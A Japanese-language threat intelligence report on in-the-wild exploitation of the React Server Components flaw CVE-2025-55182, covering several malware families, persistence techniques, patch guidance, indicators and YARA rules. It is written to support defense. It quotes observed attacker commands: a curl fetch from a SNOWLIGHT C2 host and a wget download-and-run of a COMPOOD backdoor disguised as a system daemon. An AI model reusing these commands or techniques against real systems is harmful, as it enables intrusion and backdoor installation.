執筆者: Aragorn Tseng、Robert Weiner、Casey Charrier、Zander Work、Genevieve Stark、Austin Larsen
はじめに
2025年12月3日、React Server Components における重大な未認証リモートコード実行(RCE)脆弱性が、CVE-2025-55182(別名「React2Shell」)として公表されました。公表直後から、Google Threat Intelligence Group(GTIG)は、機会主義的なサイバー犯罪アクターから諜報活動が疑われるグループまで、多数の脅威クラスターにわたる広範な悪用を観測し始めました。
GTIG は、この脆弱性を利用して MINOCAT トンネラー、SNOWLIGHT ダウンローダー、HISONIC バックドア、COMPOOD バックドア、ならびに XMRIG 暗号通貨マイナーを展開する複数のキャンペーンを特定しました。これらの一部は、Huntress が以前に報告した活動と重複しています。これらの観測されたキャンペーンは、パッチ未適用の React および Next.js を使用する組織に対するリスクを浮き彫りにしています。本稿では、観測された悪用チェーンと侵害後の挙動を詳述し、防御側がこの脅威を特定し是正するためのインテリジェンスを提供します。
Google が顧客をどのように保護しているか、および緩和策のガイダンスについては、関連するブログ投稿 Responding to CVE-2025-55182: Secure your React and Next.js workloads を参照してください。
CVE-2025-55182 の概要
CVE-2025-55182 は React Server Components における未認証 RCE 脆弱性で、CVSS v3.x スコアは 10.0、CVSS v4 スコアは 9.3 です。この欠陥により、未認証の攻撃者は単一の HTTP リクエストを送信するだけで、影響を受ける Web サーバープロセスを実行しているユーザー権限で任意のコードを実行できます。
GTIG は CVE-2025-55182 を重大リスクの脆弱性と評価しています。Next.js のような人気フレームワークで React Server Components(RSC)が使用されているため、この問題に脆弱な露出システムが相当数存在します。悪用可能性はさらに、(1) 有効なペイロード形式と手法が多様であること、(2) システム上に脆弱なパッケージが存在するだけで悪用が許容される場合が多いこと、という 2 つの要因によって高まります。
CVE-2025-55182 の影響を受ける特定の RSC パッケージは、以下の 19.0、19.1.0、19.1.1、19.2.0 です:
-
react-server-dom-webpack
-
react-server-dom-parcel
-
react-server-dom-turbopack
公表直後の数日間、この脆弱性に関して、動作しないエクスプロイトが大量に出回り、その結果として実用的なペイロードや悪用ロジックに関する誤情報が広く流布しました。完全に非機能の状態から始まったリポジトリの例として、GitHub ユーザー「ejpir」が公開したこの リポジトリがあります。これは当初、正当で機能するエクスプロイトであると 主張していましたが、現在は README を更新し、当初の研究主張が AI 生成で非機能であることを適切に明記しています。このリポジトリには依然として非機能のエクスプロイトコードが含まれていますが、Unicode による難読化を伴う 正当なエクスプロイトコード も含まれるようになりました。このような事例は当初、業界全体に混乱をもたらしましたが、正当なエクスプロイトとその能力は大幅に拡大しており、インメモリでの Next.js Web シェル展開機能 も含まれます。また、エクスプロイトサンプルの中には、完全に偽物のもの、非機能のもの、正当な機能を持つものが混在しており、セキュリティ研究者を標的とするマルウェアを含むものもあります。研究者は、エクスプロイトコードの能力や正当性を信頼する前に、必ず検証すべきです。
この脆弱性に関する技術的な解説は、Wiz などの信頼できるセキュリティ企業によって公開されています。研究者は、脆弱性の詳細、エクスプロイトコード、公開された検知情報を検証する際、最新かつ正確な情報のためにこのような信頼できる公開情報を参照すべきです。
さらに、Next.js 向けに別の CVE(CVE-2025-66478)も発行されましたが、この CVE はその後 CVE-2025-55182 の重複としてマークされています。
観測された悪用活動
CVE-2025-55182 の悪用が始まって以降、GTIG は複数の地域・業界にわたり、多様なペイロードと悪用後の挙動を観測しています。本ブログ投稿では中国系の諜報活動および金銭目的の活動に焦点を当てますが、イラン系アクターが CVE-2025-55182 を悪用していることも追加で観測しています。
中国系の活動
12月12日時点で、GTIG は CVE-2025-55182 を利用して世界中の被害者ネットワークを侵害する複数の中国系脅威クラスターを特定しています。Amazon Web Services(AWS)の 報告によれば、中国系脅威グループ Earth Lamia と Jackpot Panda もこの脆弱性を悪用しています。GTIG は Earth Lamia を UNC5454 として追跡しています。現時点では、Jackpot Panda についてグループ間関係を評価するための公開インジケーターはありません。
MINOCAT
GTIG は、中国系の諜報クラスター UNC6600 がこの脆弱性を悪用して MINOCAT トンネラーを配布するのを観測しました。脅威アクターは bash スクリプトを取得して実行し、隠しディレクトリ($HOME/.systemd-utils)を作成し、「ntpclient」という名前のプロセスをすべて終了させ、MINOCAT バイナリをダウンロードし、新しい cron ジョブと systemd サービスを作成し、さらに現在のユーザーのシェル設定に悪意あるコマンドを挿入して、新しいシェルが開始されるたびに MINOCAT を実行することで永続化を確立しました。MINOCAT は Linux 向け 64 ビット ELF 実行ファイルで、カスタムの「NSS」ラッパーと、実際のトンネリングを処理する埋め込みのオープンソース Fast Reverse Proxy(FRP)クライアントを含みます。
SNOWLIGHT
別のインシデントでは、中国系と疑われる脅威アクター UNC6586 がこの脆弱性を悪用し、cURL または wget を用いたコマンドを実行してスクリプトを取得し、そのスクリプトが SNOWLIGHT ダウンローダーのペイロード(7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a)をダウンロードして実行しました。SNOWLIGHT は VSHELL のコンポーネントであり、VSHELL は Go で書かれた公開入手可能なマルチプラットフォームのバックドアで、動機の異なる脅威アクターに利用されてきました。GTIG は、SNOWLIGHT が C2 インフラ(例: reactcdn.windowserrorapis[.]com)に対して HTTP GET リクエストを行い、正規ファイルを装った追加ペイロードを取得するのを観測しました。
curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>
図1: SNOWLIGHT ペイロードを取得するために実行された cURL コマンド
COMPOOD
GTIG はまた、脅威アクター UNC6588 が CVE-2025-55182 を悪用した後、wget を用いて COMPOOD バックドアのペイロードをダウンロードするスクリプトを実行した複数のインシデントを観測しました。その後スクリプトは COMPOOD サンプルを実行し、これは Vim を装っていました。GTIG は顕著な後続活動を観測しておらず、この脅威アクターの動機は現時点で不明です。
wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"
図2: wget で COMPOOD をダウンロードして実行
COMPOOD は歴史的に、中国系の諜報活動が疑われる活動と関連付けられてきました。2022年、GTIG は中国系の諜報アクターが疑われるインシデントで COMPOOD を観測しており、台湾、ベトナム、中国から VirusTotal にアップロードされたサンプルも観測しました。
HISONIC
別の中国系アクター UNC6603 は、更新版の HISONIC バックドアを展開しました。HISONIC は Go ベースのインプラントで、Cloudflare Pages や GitLab などの正規クラウドサービスを利用して暗号化された設定を取得します。この手法により、アクターは悪意あるトラフィックを正規のネットワーク活動に紛れ込ませることができます。このケースでは、アクターは XOR エンコードされた HISONIC バックドアの設定を 2 つのマーカーで区切って埋め込みました。設定開始を示す「115e1fc47977812」から、終了を示す「725166234cf88gxx」までです。テレメトリは、このアクターがアジア太平洋(APAC)地域におけるクラウドインフラ、具体的には AWS および Alibaba Cloud インスタンスを標的としていることを示しています。
<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>
図3: 設定を示す HISONIC マーカー
ANGRYREBEL.LINUX
最後に、UNC6595 という中国系アクターが、この脆弱性を悪用して ANGRYREBEL.LINUX を展開するのも観測しました。脅威アクターはインストールスクリプト(b.sh)を使用し、マルウェアを標準の場所ではなく /etc/ ディレクトリ内で正規の OpenSSH デーモン(sshd)に偽装することで検知回避を試みます。アクターはまた、ファイルのタイムスタンプを変更する timestomping を用い、シェル履歴の消去(history -c)などのアンチフォレンジックコマンドを実行します。テレメトリは、このクラスターが主に国際的な Virtual Private Server(VPS)上でホストされるインフラを標的としていることを示しています。
金銭目的の活動
暗号資産マイニングによってアクセスを収益化する脅威アクターは、新たに公表された脆弱性を最初期に悪用することが多い傾向があります。GTIG は 12月5日から始まる複数のインシデントで、脅威アクターが CVE-2025-55182 を悪用して XMRig を展開し、不正な暗号通貨マイニングを行うのを観測しました。観測されたチェーンの一つでは、アクターが「sex.sh」という名前のシェルスクリプトをダウンロードしました。このスクリプトは GitHub から XMRIG 暗号通貨マイナーをダウンロードして実行します。また、「system-update-service」という新しい systemd サービスを介してマイナーの永続化を確立しようとします。
GTIG はまた、地下フォーラムにおける CVE-2025-55182 に関する多数の議論も観測しており、そこにはスキャンツール、概念実証(PoC)コードへのリンクや、これらのツールを使用した経験を共有するスレッドが含まれます。
見通しと影響
注目度の高い重大脆弱性が公表された後、影響を受ける製品が精査の強化期間に入ることは一般的であり、その結果、発見される脆弱性の数が迅速に、ただし一時的に増加します。CVE-2025-55182 の公表以降、React の追加の脆弱性が 3 件 公表されました: CVE-2025-55183、CVE-2025-55184、CVE-2025-67779 です。このケースでは、これらの後続脆弱性のうち 2 件は影響が比較的限定的(制限付きの情報漏えい、およびサービス拒否(DoS)状態の発生)です。3 件目の脆弱性(CVE-2025-67779)も DoS 状態を引き起こしますが、これは CVE-2025-55184 に対するパッチが不完全だったことに起因します。
推奨事項
React または Next.js を利用している組織は、直ちに以下の対応を実施してください:
-
直ちにパッチ適用:
-
CVE-2025-55182 によるリモートコード実行を防ぐため、脆弱な React Server Components を、該当する脆弱バージョンに応じて少なくとも 19.0.1、19.1.2、または 19.2.1 へパッチ適用してください。19.2.2 または 19.2.3 へパッチ適用することで、リモートコード実行の可能性も防止できます。
-
CVE-2025-55183 による情報漏えいの影響を防ぐため、脆弱な React Server Components を少なくとも 19.2.2 へパッチ適用してください。
-
CVE-2025-55184 および CVE-2025-67779 による DoS の影響を防ぐため、脆弱な React Server Components を 19.2.3 へパッチ適用してください。19.2.2 のパッチは DoS の影響を防ぐには不十分であることが判明しました。
WAF ルールを展開: Google は、この脆弱性に関連する悪用試行を検知してブロックするよう設計された Cloud Armor Web Application Firewall(WAF)ルール を展開しました。脆弱性管理プログラムがすべての脆弱インスタンスにパッチを適用し検証するまでの一時的な緩和策として、このルールの展開を推奨します。
依存関係を監査: 環境内の他のアプリケーションに依存関係として脆弱な React Server Components が含まれていないか確認してください。
ネットワークトラフィックを監視: 以下に列挙する侵害指標(IOC)へのアウトバウンド接続についてログを確認してください。特に、Web サーバープロセスによって開始された wget または cURL コマンドに注意してください。
侵害の痕跡をハント: $HOME/.systemd-utils のような隠しディレクトリの作成、ntpclient などのプロセスの不正な終了、$HOME/.bashrc のようなシェル設定ファイルへの悪意ある実行ロジックの注入を探してください。
侵害指標(IOCs)
防御側がこの活動のハンティングを行えるよう、本ブログ投稿で説明した脅威に関する IOC を含めています。関連指標のより広範なサブセットは、Google Threat Intelligence の IOC コレクション として、登録ユーザー向けに提供されています。
|
インジケーター |
種類 |
説明 |
|
|
ドメイン |
SNOWLIGHT C2 およびステージングサーバー |
|
|
IP アドレス |
SNOWLIGHT C2 サーバー |
|
|
IP アドレス |
sex.sh スクリプトのステージングサーバー |
|
|
IP アドレス |
COMPOOD C2 およびペイロードステージングサーバー |
|
|
SHA256 |
HISONIC サンプル |
|
|
SHA256 |
HISONIC サンプル |
|
|
SHA256 |
ANGRYREBEL.LINUX サンプル |
|
|
SHA256 |
XMRIG ダウンローダースクリプト (ファイル名: sex.sh) |
|
|
SHA256 |
SNOWLIGHT サンプル(ファイル名: linux_amd64) |
|
|
SHA256 |
MINOCAT サンプル |
YARA ルール
MINOCAT
rule G_APT_Tunneler_MINOCAT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_modified = "2025-12-10"
rev = "1"
md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
strings:
$magic = { 7F 45 4C 46 }
$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
$frp_str1 = "libxf-2.9.644/main.c"
$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
$frp_str3 = "cannot found run ID, it should inited when login!"
$frp_str4 = "new work connection request run_id marshal failed!"
$telnet_str1 = "Starting telnetd on port %d\n"
$telnet_str2 = "No login shell found at %s\n"
$key = "bigeelaminoacow"
condition:
$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
}
COMPOOD
rule G_Backdoor_COMPOOD_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_modified = "2025-12-11"
rev = “1”
md5 = “d3e7b234cf76286c425d987818da3304”
strings:
$strings_1 = "ShellLinux.Shell"
$strings_2 = "ShellLinux.Exec_shell"
$strings_3 = "ProcessLinux.sendBody"
$strings_4 = "ProcessLinux.ProcessTask"
$strings_5 = "socket5Quick.StopProxy"
$strings_6 = "httpAndTcp"
$strings_7 = "clean.readFile"
$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
$strings_9 = "/proc/self/auxv"
$strings_10 = "/dev/urandom"
$strings_11 = "client finished"
$strings_12 = "github.com/creack/pty.Start"
condition:
uint32(0) == 0x464C457f and 8 of ($strings_*)
}
SNOWLIGHT
rule G_Hunting_Downloader_SNOWLIGHT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-03-25"
date_modified = "2025-03-25"
md5 = "3a7b89429f768fdd799ca40052205dd4"
rev = 1
strings:
$str1 = "rm -rf $v"
$str2 = "&t=tcp&a="
$str3 = "&stage=true"
$str4 = "export PATH=$PATH:$(pwd)"
$str5 = "curl"
$str6 = "wget"
$str7 = "python -c 'import urllib"
condition:
all of them and filesize < 5KB
}